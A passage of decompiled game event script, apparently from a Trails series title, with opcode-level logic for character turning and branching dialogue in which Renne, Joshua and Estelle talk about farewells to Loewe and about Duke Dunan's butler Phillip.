Jc((scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_7A21")
Jump("loc_7A63")
label("loc_7A21")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_7A3D")
OP_51(0x11, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_7A63")
label("loc_7A3D")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_7A59")
OP_51(0x11, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_7A63")
label("loc_7A59")
OP_51(0x11, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_7A63")
OP_51(0x11, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x110, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x110, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x11, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0x11, 0x10)
Sleep(200)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4C8, 4)), scpexpr(EXPR_END)), "loc_7AD9")
ChrTalk( #183
0x11,
(
"#1962FI'm glad Renne was able to say goodbye to him\x01",
"as well.\x02",
)
)
CloseMessageWindow()
Jump("loc_7B3B")
label("loc_7AD9")
ChrTalk( #184
0x11,
(
"#1802FStill...\x02\x03",
"#1445F...it's a shame you weren't able to say goodbye\x01",
"to him as well, Renne.\x02",
)
)
CloseMessageWindow()
label("loc_7B3B")
ChrTalk( #185
0x110,
(
"#269FA shame, huh? I never expected to hear something\x01",
"like that from you.\x02\x03",
"#263FNevertheless, I appreciate the sentiment.\x02\x03",
"Perhaps now that you have, you could read him\x01",
"a story from the Testaments?\x02",
)
)
CloseMessageWindow()
ChrTalk( #186
0x11,
"#1448F...It would be my pleasure.\x02",
)
CloseMessageWindow()
SetChrSubChip(0x11, 0)
Jump("loc_7DF4")
label("loc_7C35")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4C8, 4)), scpexpr(EXPR_END)), "loc_7D05")
ChrTalk( #187
0x11,
(
"#1447FI'm glad Renne was able to say goodbye to him\x01",
"as well.\x02\x03",
"#1806FIt's always a painful thing to have to part with\x01",
"someone, but it's even more painful to not have\x01",
"the chance to say farewell.\x02",
)
)
CloseMessageWindow()
Jump("loc_7DF4")
label("loc_7D05")
ChrTalk( #188
0x11,
(
"#1806FI just wish Renne would have had a chance to say\x01",
"goodbye to him as well.\x02\x03",
"#1445FIt's always a painful thing to have to part with\x01",
"someone, but it's even more painful to not have\x01",
"the chance to say farewell...especially to family.\x02",
)
)
CloseMessageWindow()
label("loc_7DF4")
OP_A2(0x2664)
ClearChrFlags(0x12, 0x10)
ClearChrFlags(0x11, 0x10)
OP_4B(0x1B, 255)
TalkEnd(0x12)
Jump("loc_80D5")
label("loc_7E0B")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_7E9B")
Jump("loc_7EDD")
label("loc_7E9B")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_7EB7")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_7EDD")
label("loc_7EB7")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_7ED3")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_7EDD")
label("loc_7ED3")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_7EDD")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 0)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_7FDB")
ChrTalk( #189
0x12,
(
"#060FI only know part of the story...\x02\x03",
"#563F...but I think Loewe must've always wanted\x01",
"a chance to properly say goodbye to Joshua.\x02\x03",
"#066FAnd to Renne, too.\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_7FD5")
ChrTalk( #190
0x110,
"#263F...Heehee. Maybe.\x02",
)
CloseMessageWindow()
label("loc_7FD5")
OP_A2(0x0)
Jump("loc_80BA")
label("loc_7FDB")
ChrTalk( #191
0x12,
(
"#060FWhenever I met Loewe back when he was still alive,\x01",
"he always looked so...lonely, somehow.\x02\x03",
"#564FThat was my first impression of him when we first\x01",
"met, too.\x02\x03",
"#067FHeehee. At least he's not lonely any more, though.\x02",
)
)
CloseMessageWindow()
label("loc_80BA")
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_80D5")
SetChrSubChip(0xFE, 2)
label("loc_80D5")
Jump("loc_955D")
label("loc_80D8")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x561, 0)), scpexpr(EXPR_END)), "loc_8A7D")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 0)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_87DD")
RunExpression(0x2, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x8), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
RunExpression(0x3, (scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x8), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0x12)
ClearChrFlags(0x12, 0x10)
TurnDirection(0x12, 0x0, 0)
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_8191")
Jump("loc_81D3")
label("loc_8191")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_81AD")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_81D3")
label("loc_81AD")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_81C9")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_81D3")
label("loc_81C9")
OP_51(0x12, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_81D3")
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0x12, 0x10)
ChrTalk( #192
0x12,
(
"#064FPhillip is Duke Dunan's butler, isn't he?\x02\x03",
"#063FWhat was the Lord of Phantasma thinking by\x01",
"dragging him into all of this? He's got nothing\x01",
"to do with it...\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_836A")
ChrTalk( #193
0x110,
(
"#263FOh, but if you ask me, they really know how to\x01",
"keep things interesting.\x02\x03",
"#260FI've taken a liking to them, to be honest.\x02\x03",
"#261FI can't wait to finally get to face them head on.\x02",
)
)
CloseMessageWindow()
Jump("loc_851C")
label("loc_836A")
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x20, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0x20)
ClearChrFlags(0x20, 0x10)
TurnDirection(0x20, 0x12, 0)
OP_51(0x20, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x20, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x20, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_83FA")
Jump("loc_843C")
label("loc_83FA")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_8416")
OP_51(0x20, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_843C")
label("loc_8416")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_8432")
OP_51(0x20, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_843C")
label("loc_8432")
OP_51(0x20, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_843C")
OP_51(0x20, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x20, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0x20, 0x10)
ChrTalk( #194
0x20,
(
"#263FOh, but if you ask me, they really know how to\x01",
"keep things interesting.\x02\x03",
"#260FI've taken a liking to them, to be honest.\x02\x03",
"#261FI can't wait to finally get to face them head on.\x02",
)
)
CloseMessageWindow()
label("loc_851C")
ChrTalk( #195
0x109,
(
"#1066FJuuust don't think of trying to go off\x01",
"on your own, okay?\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_8669")
OP_51(0x110, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0x12)
ClearChrFlags(0x12, 0x10)
TurnDirection(0x12, 0x110, 0)
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_85FF")
Jump("loc_8641")
label("loc_85FF")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_861B")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_8641")
label("loc_861B")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_8637")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_8641")
label("loc_8637")
OP_51(0x12, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_8641")
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x110, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x110, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0x12, 0x10)
Jump("loc_8760")
label("loc_8669")
OP_51(0x20, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0x12)
ClearChrFlags(0x12, 0x10)
TurnDirection(0x12, 0x20, 0)
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_86F9")
Jump("loc_873B")
label("loc_86F9")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_8715")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_873B")
label("loc_8715")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_8731")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_873B")
label("loc_8731")
OP_51(0x12, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_873B")
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x20, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0x12, 0x10)
label("loc_8760")
ChrTalk( #196
0x12,
(
"#562FS-Seriously...\x02\x03",
"That'd be really, really dangerous...\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_87BD")
ChrTalk( #197
0x10F,
"#1440F...\x02",
)
CloseMessageWindow()
label("loc_87BD")
ClearChrFlags(0xFE, 0x10)
OP_A2(0x0)
TalkEnd(0xFE)
OP_51(0x12, 0x8, (scpexpr(EXPR_GET_RESULT, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x20, 0x8, (scpexpr(EXPR_GET_RESULT, 0x3), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_8A7A")
label("loc_87DD")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_88ED")
OP_51(0x110, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0x12)
ClearChrFlags(0x12, 0x10)
TurnDirection(0x12, 0x110, 0)
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_8883")
Jump("loc_88C5")
label("loc_8883")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_889F")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_88C5")
label("loc_889F")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_88BB")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_88C5")
label("loc_88BB")
OP_51(0x12, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_88C5")
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x110, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x110, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0x12, 0x10)
Jump("loc_89E4")
label("loc_88ED")
